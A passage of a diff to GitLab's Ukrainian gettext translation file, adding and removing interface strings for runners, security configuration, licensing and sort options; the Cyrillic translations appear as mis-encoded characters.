msgid "Register with two-factor app"
msgstr "ЗареєÑтрувати за допомогою двофакторного заÑтоÑунку"
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27505,6 +27223,9 @@ msgstr "Відхилено (закрито)"
msgid "Related Issues"
msgstr "Пов’Ñзані задачі"
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr "ПовʼÑзані задачі"
@@ -27686,6 +27407,9 @@ msgstr "Вилучити ліцензію"
msgid "Remove limit"
msgstr "Прибрати обмеженнÑ"
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27701,15 +27425,9 @@ msgstr "Виключити учаÑника"
msgid "Remove milestone"
msgstr "Видалити етап"
-msgid "Remove node"
-msgstr "Видалити вузол"
-
msgid "Remove parent epic from an epic"
msgstr "Видалити батьківÑький епік із епіка"
-msgid "Remove primary node"
-msgstr "Видалити оÑновний вузол"
-
msgid "Remove priority"
msgstr "Видалити пріоритет"
@@ -27725,9 +27443,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr "Видалити вторинний вузол"
-
msgid "Remove spent time"
msgstr "Видалити витрачений чаÑ"
@@ -27875,15 +27590,18 @@ msgstr "Повторно відкрито %{quick_action_target}."
msgid "Reopens this %{quick_action_target}."
msgstr "Повторно відкриває %{quick_action_target}."
-msgid "Repair authentication"
-msgstr "Відновити автентифікацію"
-
msgid "Replace"
msgstr "Замінити"
+msgid "Replace %{name}"
+msgstr ""
+
msgid "Replace all label(s)"
msgstr "Замінити вÑÑ– мітки(-ку)"
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr "Замінено вÑÑ– мітки з %{label_references} %{label_text}."
@@ -27893,15 +27611,6 @@ msgstr "Замінює кореневу URL-адреÑу Ð´Ð»Ñ ÐºÐ»Ð¾Ð½ÑƒÐ²Ð°Ð½
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr "Реплікацію призупинено"
-
msgid "Reply by email"
msgstr "ВідповіÑти по електнонній пошті"
@@ -28313,6 +28022,9 @@ msgstr[3] "Ðеобхідно ще %d затверджень."
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28463,12 +28175,6 @@ msgstr "Продовжити"
msgid "Resync"
msgstr "Повторна ÑинхронізаціÑ"
-msgid "Resync all"
-msgstr "Повторно Ñинхронізувати вÑе"
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr "Спробувати знову"
@@ -28484,9 +28190,6 @@ msgstr "Повторити це завданнÑ"
msgid "Retry this job in order to create the necessary resources."
msgstr "ПерезапуÑтити це Ð·Ð°Ð²Ð´Ð°Ð½Ð½Ñ Ð´Ð»Ñ Ñ‚Ð¾Ð³Ð¾, щоб Ñтворити необхідні реÑурÑи."
-msgid "Retry update"
-msgstr "Повторити Ñпробу оновленнÑ"
-
msgid "Retry verification"
msgstr "Повторити перевірку"
@@ -28585,6 +28288,9 @@ msgstr "додаваннÑ"
msgid "RightSidebar|deleting the"
msgstr "видаленнÑ"
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr "План-графік"
@@ -28594,9 +28300,6 @@ msgstr "Роль"
msgid "Rollback"
msgstr "Відкотити"
-msgid "Rook"
-msgstr "Rook"
-
msgid "Ruby"
msgstr "Ruby"
@@ -28663,12 +28366,21 @@ msgstr "Сторінка Runner'ів."
msgid "Runners|Active"
msgstr "Ðктивні"
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr "Ðрхітектура"
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28678,6 +28390,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr "ОпиÑ"
@@ -28687,9 +28402,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr "IP-адреÑа"
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28702,9 +28426,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr "Ім'Ñ"
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28747,12 +28477,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr "Теги"
@@ -28783,6 +28519,12 @@ msgstr "ВерÑÑ–Ñ"
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28861,6 +28603,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr "Ключі SSH дозволÑÑŽÑ‚ÑŒ вÑтановити захищене Ð·â€™Ñ”Ð´Ð½Ð°Ð½Ð½Ñ Ð¼Ñ–Ð¶ вашим комп’ютером та GitLab."
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr "Відкритий SSH-ключ"
@@ -28912,10 +28660,7 @@ msgstr "Зберегти пароль"
msgid "Save pipeline schedule"
msgstr "Зберегти розклад конвеєра"
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28948,6 +28693,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28999,6 +28747,9 @@ msgstr "Прокрутити вгору"
msgid "Search"
msgstr "Пошук"
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -29083,9 +28834,6 @@ msgstr "Шукати чи фільтрувати результати..."
msgid "Search or filter results…"
msgstr "Шукати чи фільтрувати результати…"
-msgid "Search or jump to…"
-msgstr "Шукати чи перейти до…"
-
msgid "Search project"
msgstr "Пошук в проєкті"
@@ -29238,12 +28986,6 @@ msgstr[3] "результатів у вікі"
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -29310,6 +29052,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -29331,6 +29076,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -29340,6 +29088,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29364,9 +29118,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29376,12 +29139,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29394,7 +29166,10 @@ msgstr "Стан"
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29403,6 +29178,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29415,6 +29196,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29427,8 +29229,8 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr "Додати проєкти"
-msgid "SecurityReports|All"
-msgstr "Ð’ÑÑ–"
+msgid "SecurityReports|All activity"
+msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
@@ -29490,6 +29292,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29595,6 +29400,9 @@ msgstr "СтатуÑ"
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29697,9 +29505,6 @@ msgstr "Виберіть проєкт GitLab Ð´Ð»Ñ Ð·Ð²â€™ÑÐ·ÑƒÐ²Ð°Ð½Ð½Ñ Ñ–Ð·
msgid "Select Page"
msgstr "Вибрати Ñторінку"
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29730,9 +29535,15 @@ msgstr ""
msgid "Select a repository"
msgstr "Виберіть репозиторій"
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr "Вибрати шаблон репозиторію"
@@ -29835,9 +29646,6 @@ msgstr "Виберіть підпиÑку"
msgid "Select target branch"
msgstr "Вибір цільової гілки"
-msgid "Select the custom project template source group."
-msgstr "Вкажіть групу, де розміщені влаÑні шаблони проєктів."
-
msgid "Select timezone"
msgstr "Обрати чаÑовий поÑÑ"
@@ -29931,8 +29739,8 @@ msgstr ""
msgid "Send report"
msgstr "ÐадіÑлати звіт"
-msgid "Send usage data"
-msgstr "Відправити дані про викориÑтаннÑ"
+msgid "Send service data"
+msgstr ""
msgid "Sentry API URL"
msgstr "URL-адреÑа Sentry API"
@@ -29970,11 +29778,11 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
-msgstr "Ð”Ð»Ñ Ð¼ÐµÑ‚Ñ€Ð¸Ðº викликів функцій необхідно Ñпочатку вÑтановити Prometheus."
+msgid "ServerlessDetails|Configure cluster."
+msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
-msgstr "Ð’Ñтановити Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
+msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
msgstr "Метрики викликів функцій наразі завантажуютьÑÑ Ð°Ð±Ð¾ недоÑтупні."
@@ -30015,9 +29823,6 @@ msgstr "Якщо ви вважаєте, що жодна з них не підхÐ
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr "Ð’Ñтановити Knative"
-
msgid "Serverless|Learn more about Serverless"
msgstr "ДізнайтеÑÑ Ð±Ñ–Ð»ÑŒÑˆÐµ про Serverless"
@@ -30060,6 +29865,9 @@ msgstr "Шаблони ÑервіÑів"
msgid "Service URL"
msgstr "URL ÑервіÑу"
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -30150,6 +29958,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr "Ð’Ñтановіть вимоги Ð´Ð»Ñ Ð²Ñ…Ð¾Ð´Ñƒ кориÑтувачів. Увімкніть обов’Ñзкову двофакторну автентифікацію."
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr "Ð’Ñтановити цільову гілку"
@@ -30330,9 +30141,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr "Сегменти (%{shards})"
-
msgid "Shards to synchronize"
msgstr "Сегменти Ð´Ð»Ñ Ñинхронізації"
@@ -30357,6 +30165,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr "Допомога по загальним runner'ам"
@@ -30381,9 +30192,6 @@ msgstr "Показати вÑÑŽ активніÑÑ‚ÑŒ"
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr "Показати вÑÑ–Ñ… учаÑників"
-
msgid "Show all test cases."
msgstr ""
@@ -30411,9 +30219,6 @@ msgstr "Показати Ð¾Ð¿Ð¸Ñ ÐºÐ¾Ð¼Ñ–Ñ‚Ñƒ"
msgid "Show complete raw log"
msgstr "Показати повний неформатований журнал"
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr "Показати подробиці"
@@ -30447,12 +30252,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr "Показувати лише безпоÑередніх учаÑників"
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr "Показати батьківÑькі Ñторінки"
@@ -30503,6 +30302,9 @@ msgstr ""
msgid "Showing all issues"
msgstr "Ð’Ñ–Ð´Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð½Ñ ÑƒÑÑ–Ñ… задач"
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30836,9 +30638,6 @@ msgstr "ЩоÑÑŒ пішло не так під Ñ‡Ð°Ñ ÑÑ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Ð²Ð¸Ð¼Ð
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr "Помилка при видаленні пакету."
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr "Помилка при видаленні гілки-джерела. Будь лаÑка, Ñпробуйте знову."
@@ -30941,6 +30740,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr "Проблема при зупинці Ñередовища. Будь лаÑка, Ñпробуйте знову."
@@ -31007,12 +30809,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr "Рівень доÑтупу, в порÑдку зроÑтаннÑ"
-
-msgid "SortOptions|Access level, descending"
-msgstr "Рівень доÑтупу, в порÑдку ÑпаданнÑ"
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -31046,9 +30842,6 @@ msgstr "ОÑтанній контакт"
msgid "SortOptions|Last created"
msgstr "ОÑтанній Ñтворений"
-msgid "SortOptions|Last joined"
-msgstr "ОÑтанній приєднавшийÑÑ"
-
msgid "SortOptions|Last updated"
msgstr "ОÑтанній оновлений"
@@ -31091,9 +30884,6 @@ msgstr "Ім'Ñ, за ÑпаданнÑм"
msgid "SortOptions|Oldest created"
msgstr "ÐайÑтаріший з Ñтворених"
-msgid "SortOptions|Oldest joined"
-msgstr "Приєднаний найраніше"
-
msgid "SortOptions|Oldest last activity"
msgstr "ÐайÑтаріша оÑÑ‚Ð°Ð½Ð½Ñ Ð°ÐºÑ‚Ð¸Ð²Ð½Ñ–ÑÑ‚ÑŒ"
@@ -31145,6 +30935,9 @@ msgstr "Розпочатий пізніше"
msgid "SortOptions|Start soon"
msgstr "Розпочатий нещодавно"
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr "Тип"
@@ -31163,6 +30956,9 @@ msgstr "Джерело (гілка або тег)"
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -31265,15 +31061,6 @@ msgstr ""
msgid "Stage"
msgstr "СтадіÑ"
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr "Стандарт"
@@ -31490,12 +31277,18 @@ msgstr "СтатуÑ:"
msgid "Status: %{title}"
msgstr "СтатуÑ: %{title}"
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31514,7 +31307,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31544,6 +31337,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31631,6 +31427,9 @@ msgstr "Сховище:"
msgid "StorageSize|Unknown"
msgstr "Ðевідомо"
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31640,9 +31439,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr "ОглÑд підгрупи"
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr "Дозволено Ñтворювати підгрупи"
@@ -31997,6 +31793,9 @@ msgstr "ÐеділÑ"
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -32015,7 +31814,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -32087,9 +31892,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -32102,7 +31904,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -32150,7 +31952,7 @@ msgstr "URL-адреÑа Ñторінки підтримки"
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -32165,8 +31967,8 @@ msgstr "Перейдіть до джерела, щоб Ñкопіювати вм
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
-msgstr "Ð†Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ñ–Ñ Ð¿Ñ€Ð¾ Ñинхронізацію"
+msgid "Sync LDAP"
+msgstr ""
msgid "Sync now"
msgstr "Синхронізувати зараз"
@@ -32174,10 +31976,10 @@ msgstr "Синхронізувати зараз"
msgid "Synced"
msgstr "Синхронізовано"
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32369,6 +32171,9 @@ msgstr "Домен команди"
msgid "Telephone number"
msgstr "Ðомер телефону"
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr "Шаблон"
@@ -32734,7 +32539,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32743,6 +32548,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr "Трекер задач — це міÑце, де можна додати речі, Ñкі потрібно покращити або розв’Ñзати в проєкті"
@@ -32752,6 +32560,9 @@ msgstr "Трекер задач — це міÑце, де можна додатÐ
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32785,9 +32596,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr "ПідÑвітка Ñимволів дозволÑÑ” обмежувати заголовок до %{titleLength} Ñимволів Ñ– обмежувати довжину Ñ€Ñдків тіла %{bodyLength} Ñимволами Ð´Ð»Ñ Ñ‚Ð¾Ð³Ð¾, щоб вони залишаютьÑÑ Ñ‡Ð¸Ñ‚Ð°Ð±ÐµÐ»ÑŒÐ½Ð¸Ð¼Ð¸ в git."
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr "Ð¡Ñ‚Ð°Ð´Ñ–Ñ ÐапиÑÐ°Ð½Ð½Ñ ÐºÐ¾Ð´Ñƒ показує Ñ‡Ð°Ñ Ð²Ñ–Ð´ першого коміту до ÑÑ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Ð·Ð°Ð¿Ð¸Ñ‚Ñƒ на злиттÑ. Дані будуть автоматично додані піÑÐ»Ñ ÑÑ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Ð²Ð°ÑˆÐ¾Ð³Ð¾ першого запиту на злиттÑ."
-
msgid "The collection of events added to the data gathered for that stage."
msgstr "ÐšÐ¾Ð»ÐµÐºÑ†Ñ–Ñ Ð¿Ð¾Ð´Ñ–Ð¹ додана до даних, зібраних Ð´Ð»Ñ Ñ†Ñ–Ñ”Ñ— Ñтадії."
@@ -32821,8 +32629,8 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr "Джерело даних підключено, але даних Ð´Ð»Ñ Ð²Ñ–Ð´Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð½Ñ Ð½ÐµÐ¼Ð°Ñ”. %{documentationLink}"
-msgid "The default CI configuration path for new projects."
-msgstr "ШлÑÑ… конфігурації CI за замовчуваннÑм Ð´Ð»Ñ Ð½Ð¾Ð²Ð¸Ñ… проєктів."
+msgid "The default CI/CD configuration file and path for new projects."
+msgstr ""
msgid "The dependency list details information about the components used within your project."
msgstr "СпиÑок залежноÑтей міÑтить детальну інформацію про компоненти, що викориÑтовуютьÑÑ Ñƒ вашому проєкті."
@@ -32851,6 +32659,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr "Файл уÑпішно Ñтворено."
@@ -32927,6 +32738,9 @@ msgstr "Цю групу буде переведено у Ñтан \"очікув
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr "Імпорт буде припинено піÑÐ»Ñ %{timeout}. Ð”Ð»Ñ Ñ€ÐµÐ¿Ð¾Ð·Ð¸Ñ‚Ð¾Ñ€Ñ–Ñ—Ð², Ñким потрібно більше чаÑу, викориÑтовуйте комбінацію clone/push."
@@ -32948,15 +32762,15 @@ msgstr "Ð—Ð°Ð¿Ñ€Ð¾ÑˆÐµÐ½Ð½Ñ ÑƒÐ¶Ðµ було прийнÑто."
msgid "The invitation was successfully resent."
msgstr "Ð—Ð°Ð¿Ñ€Ð¾ÑˆÐµÐ½Ð½Ñ ÑƒÑпішно виÑлано повторно."
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
